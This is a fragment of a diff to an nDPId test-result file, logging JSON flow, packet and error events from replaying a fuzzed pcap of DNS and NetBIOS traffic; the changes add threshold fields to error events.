00765{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":137,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":54,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120469831652887,"flow_src_last_pkt_time":1120469831652887,"flow_dst_last_pkt_time":1120469831652887,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":44,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120469831652887,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2732,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00566{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":137,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":54,"flow_packet_id":1,"flow_src_last_pkt_time":1120469831652887,"flow_dst_last_pkt_time":1120469831652887,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"thread_ts_usec":1120469831652887,"pkt":"ADBUADRWAODtAXq9CABFAABISiEAAIARTTDAqAECwKgBAQqsADUANM1AXNgBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} 01015{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":137,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":54,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120469831652887,"flow_src_last_pkt_time":1120469831652887,"flow_dst_last_pkt_time":1120469831652887,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":44,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120469831652887,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2732,"dst_port":53,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"_sip._udp.sip.cybercity.dk","dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}}} -00219{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":138,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":52,"global_ts_usec":1120469833655647} +00319{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120469833655647,"packet_id":138,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":52,"global_ts_usec":1120469833655647} 00403{"packet_event_id":1,"packet_event_name":"packet","packet_id":138,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"thread_ts_usec":1120469831652887,"pkt":"MDBUADRWAODtAW69CABFAABIaiIAE4ARTS\/AqAECwKgBAQqsADUANM1AXNgBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} 00566{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":139,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":54,"flow_packet_id":2,"flow_src_last_pkt_time":1120469835658648,"flow_dst_last_pkt_time":1120469831652887,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"thread_ts_usec":1120469835658648,"pkt":"ADBUADRWAODtAW69CABFAABIaiMAAIARTS7AqAECwKgBAQqsADUANM1AXNgBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} 01032{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":140,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":22,"flow_state":"finished","flow_src_packets_processed":1,"flow_dst_packets_processed":1,"flow_first_seen":1120469633828778,"flow_src_last_pkt_time":1120469633828778,"flow_dst_last_pkt_time":1120469634840520,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":33,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":33,"flow_dst_max_l4_payload_len":126,"flow_src_tot_l4_payload_len":33,"flow_dst_tot_l4_payload_len":126,"midstream":0,"thread_ts_usec":1120469835658648,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2719,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"flow_risk": {"17": {"risk":"Malformed Packet","severity":"Low","risk_score": {"total":260,"client":130,"server":130}}},"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} @@ -325,7 +325,7 @@ 00908{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":156,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":46,"flow_state":"finished","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120469680186878,"flow_src_last_pkt_time":1120469680186878,"flow_dst_last_pkt_time":1120469680186878,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":63,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":63,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":63,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120469865145161,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.2","src_port":53,"dst_port":2723,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} 00900{"flow_event_id":6,"flow_event_name":"guessed","thread_id":0,"packet_id":156,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":49,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120469685131995,"flow_src_last_pkt_time":1120469685131995,"flow_dst_last_pkt_time":1120469685131995,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":50,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":50,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":50,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120469865145161,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.255","src_port":137,"dst_port":25481,"l4_proto":"udp","ndpi": {"confidence": {"1":"Match by port"},"proto":"NetBIOS","proto_id":"10","encrypted":0,"breed":"Acceptable","category_id":18,"category":"System","hostname":""}} 00770{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":156,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":49,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120469685131995,"flow_src_last_pkt_time":1120469685131995,"flow_dst_last_pkt_time":1120469685131995,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":50,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":50,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":50,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120469865145161,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.255","src_port":137,"dst_port":25481,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} -00219{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":157,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":58,"global_ts_usec":1120469876437351} +00319{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120469876437351,"packet_id":157,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":58,"global_ts_usec":1120469876437351} 00419{"packet_event_id":1,"packet_event_name":"packet","packet_id":157,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":92,"pkt_l4_len":0,"thread_ts_usec":1120469875687550,"pkt":"\/\/\/\/\/\/\/\/AODtAW69CABFAABPai8AAIARTB7AqAECwKgB\/wCJAIkAOluZhQIBEAABWQAAAAAAIEVGRURFSkZQRUVFUEVORUJFSkVPQ0FDQUNBQ0FDQWNNAAAgAAE="} 00767{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":158,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":63,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120469877188186,"flow_src_last_pkt_time":1120469877188186,"flow_dst_last_pkt_time":1120469877188186,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":50,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":50,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":50,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120469877188186,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.255","src_port":137,"dst_port":169,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00583{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":158,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":63,"flow_packet_id":1,"flow_src_last_pkt_time":1120469877188186,"flow_dst_last_pkt_time":1120469877188186,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"thread_ts_usec":1120469877188186,"pkt":"\/\/\/\/\/\/\/\/AODtAW69CABFAABOajAAAIARTB3AqAECwKgB\/wCJAKkAOluZhQIBEAABAAAAAAAAIEVGRURFSkZQRUVFUEVORUJFSkVPQ0FDQUNB10FDQUJNAAAgAAE="} @@ -339,7 +339,7 @@ 00765{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":160,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":65,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120469922894014,"flow_src_last_pkt_time":1120469922894014,"flow_dst_last_pkt_time":1120469922894014,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":44,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120469922894014,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2684,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00566{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":160,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":65,"flow_packet_id":1,"flow_src_last_pkt_time":1120469922894014,"flow_dst_last_pkt_time":1120469922894014,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"thread_ts_usec":1120469922894014,"pkt":"ADBUADRWAODtAW69CABFAABIJXMAAIARTRvAqAECwKgBAQp8ADUANK14fNwBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJRHliZXJjaXR5AmRrAAAhAAE="} 01015{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":160,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":65,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120469922894014,"flow_src_last_pkt_time":1120469922894014,"flow_dst_last_pkt_time":1120469922894014,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":44,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120469922894014,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2684,"dst_port":53,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"_sip._udp.sip.dybercity.dk","dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}}} -00202{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":163,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":43690,"global_ts_usec":1120469924456160} +00302{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120469924456160,"packet_id":163,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":43690,"global_ts_usec":1120469924456160} 00419{"packet_event_id":1,"packet_event_name":"packet","packet_id":163,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":92,"pkt_type":43690,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":92,"pkt_l4_len":0,"thread_ts_usec":1120469923705073,"pkt":"\/\/\/\/\/\/\/\/AODtAW69qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} 00766{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":164,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":66,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120469924897763,"flow_src_last_pkt_time":1120469924897763,"flow_dst_last_pkt_time":1120469924897763,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":44,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120469924897763,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.17","src_port":2736,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00566{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":164,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":66,"flow_packet_id":1,"flow_src_last_pkt_time":1120469924897763,"flow_dst_last_pkt_time":1120469924897763,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"thread_ts_usec":1120469924897763,"pkt":"ADBUADRWAODtAW69CABFAABIajoAAIARTRfAqAECwKgBEQqwADUANK04fNwBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} @@ -391,7 +391,7 @@ 00566{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":184,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":73,"flow_packet_id":2,"flow_src_last_pkt_time":1120469957944384,"flow_dst_last_pkt_time":1120469956945492,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"thread_ts_usec":1120469957944384,"pkt":"ADBUADRWAODtAW69CABFAABIakkAAIARTQjAqAECwKgBAQq0ADUANP0xLN82AAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} 01023{"flow_event_id":8,"flow_event_name":"detection-update","thread_id":0,"packet_id":184,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":73,"flow_state":"info","flow_src_packets_processed":2,"flow_dst_packets_processed":0,"flow_first_seen":1120469956945492,"flow_src_last_pkt_time":1120469957944384,"flow_dst_last_pkt_time":1120469956945492,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":88,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120469957944384,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2740,"dst_port":53,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"_sip._udp.sip.cybercity.dk","dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}}} 00566{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":185,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":73,"flow_packet_id":3,"flow_src_last_pkt_time":1120469959947225,"flow_dst_last_pkt_time":1120469956945492,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"thread_ts_usec":1120469959947225,"pkt":"ADBUADRWAODtAW69CABFAABIakoAAIARTQfAqAECwKgBAQq0ADUANP0xLN8BAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} -00201{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":186,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":2151,"global_ts_usec":1120469961950106} +00301{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120469961950106,"packet_id":186,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":2151,"global_ts_usec":1120469961950106} 00402{"packet_event_id":1,"packet_event_name":"packet","packet_id":186,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":86,"pkt_type":2151,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"thread_ts_usec":1120469959947225,"pkt":"ADBUADRWAODtAW69CGdFAABIaksAAIARTQbAqAECwKgBAQq0ADUAPP0xLN8BAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} 01144{"flow_event_id":8,"flow_event_name":"detection-update","thread_id":0,"packet_id":187,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":73,"flow_state":"info","flow_src_packets_processed":4,"flow_dst_packets_processed":0,"flow_first_seen":1120469956945492,"flow_src_last_pkt_time":1120469965955887,"flow_dst_last_pkt_time":1120469956945492,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":176,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120469965955887,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2740,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17": {"risk":"Malformed Packet","severity":"Low","risk_score": {"total":260,"client":130,"server":130}}},"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"_sip._udp.sip.cybercity.dk","dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}}} 00768{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":188,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":74,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120469970215886,"flow_src_last_pkt_time":1120469970215886,"flow_dst_last_pkt_time":1120469970215886,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":50,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":50,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":50,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120469970215886,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.255","src_port":137,"dst_port":8329,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} @@ -432,7 +432,7 @@ 00768{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":199,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":61,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120469864991331,"flow_src_last_pkt_time":1120469864991331,"flow_dst_last_pkt_time":1120469864991331,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":40,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":40,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":40,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120469994988199,"l3_proto":"ip4","src_ip":"200.168.1.2","dst_ip":"192.168.1.1","src_port":2735,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00910{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":199,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":62,"flow_state":"finished","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120469864992832,"flow_src_last_pkt_time":1120469864992832,"flow_dst_last_pkt_time":1120469864992832,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":63,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":63,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":63,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120469994988199,"l3_proto":"ip4","src_ip":"253.168.1.1","dst_ip":"192.168.1.2","src_port":53,"dst_port":2735,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} 00745{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":199,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":37,"flow_state":"info","flow_src_packets_processed":2,"flow_dst_packets_processed":0,"flow_first_seen":1120469635127552,"flow_src_last_pkt_time":1120469697466627,"flow_dst_last_pkt_time":1120469635127552,"flow_idle_time":620000000,"flow_src_min_l4_payload_len":42,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":72,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":114,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120469994988199,"l3_proto":"ip4","src_ip":"170.170.170.170","dst_ip":"170.170.170.170","l4_proto":170,"flow_datalink":1,"flow_max_packets":3} -00201{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":199,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":2115,"global_ts_usec":1120470000407925} +00301{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120470000407925,"packet_id":199,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":2115,"global_ts_usec":1120470000407925} 00622{"packet_event_id":1,"packet_event_name":"packet","packet_id":199,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":243,"pkt_type":2115,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":243,"pkt_l4_len":0,"thread_ts_usec":1120469994988199,"pkt":"\/\/\/\/\/\/\/\/AGCXD+5yCENFAADlXL4AAIARWNHAqAEpwKgB\/wCKAIoA0SAWEQKRS8CoASkAigC7AAAgRU1FQkVDREJEQkRCQ0FDQUNBQ0FDQUNBQ0FDQUNBQ0EAIEbuRVBGQ0VMRUhGQ0VQRkZGQUNBQyVzAENBQ0FDQUJOAP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQAAIQAAAAAAAAAAAOgDAAAAAAAAAAAhAFYAAwABAAAAAgAyAFxNQUlxU0xPVFxCUk9XU0UAAQCA\/AoATEFCMTExAAAAAA+y781oIgUBAxAAAA8BVaoA"} 00765{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":200,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":79,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470002989548,"flow_src_last_pkt_time":1120470002989548,"flow_dst_last_pkt_time":1120470002989548,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":40,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":40,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":40,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470002989548,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2743,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00562{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":200,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":79,"flow_packet_id":1,"flow_src_last_pkt_time":1120470002989548,"flow_dst_last_pkt_time":1120470002989548,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"thread_ts_usec":1120470002989548,"pkt":"ADBUADRWAODtAW69CABFAABEalgAAIARTP3AqAECwKgBAQq3ADUAMKhFfMIAAAABAAAAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAQ=="} @@ -526,7 +526,7 @@ 00765{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":237,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":93,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470066201945,"flow_src_last_pkt_time":1120470066201945,"flow_dst_last_pkt_time":1120470066201945,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":63,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":63,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":63,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470066201945,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.2","src_port":53,"dst_port":2733,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00592{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":237,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":93,"flow_packet_id":1,"flow_src_last_pkt_time":1120470066201945,"flow_dst_last_pkt_time":1120470066201945,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"thread_ts_usec":1120470066201945,"pkt":"AODtAW69ADBUADRWCABFAABbAABAAEARtz7AqAEBwKgBAgA1Cq0AR+y1GsiAAAABAAEAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAcAMAAwAAQAAJxAACwlsb2NhbGhvc3QA"} 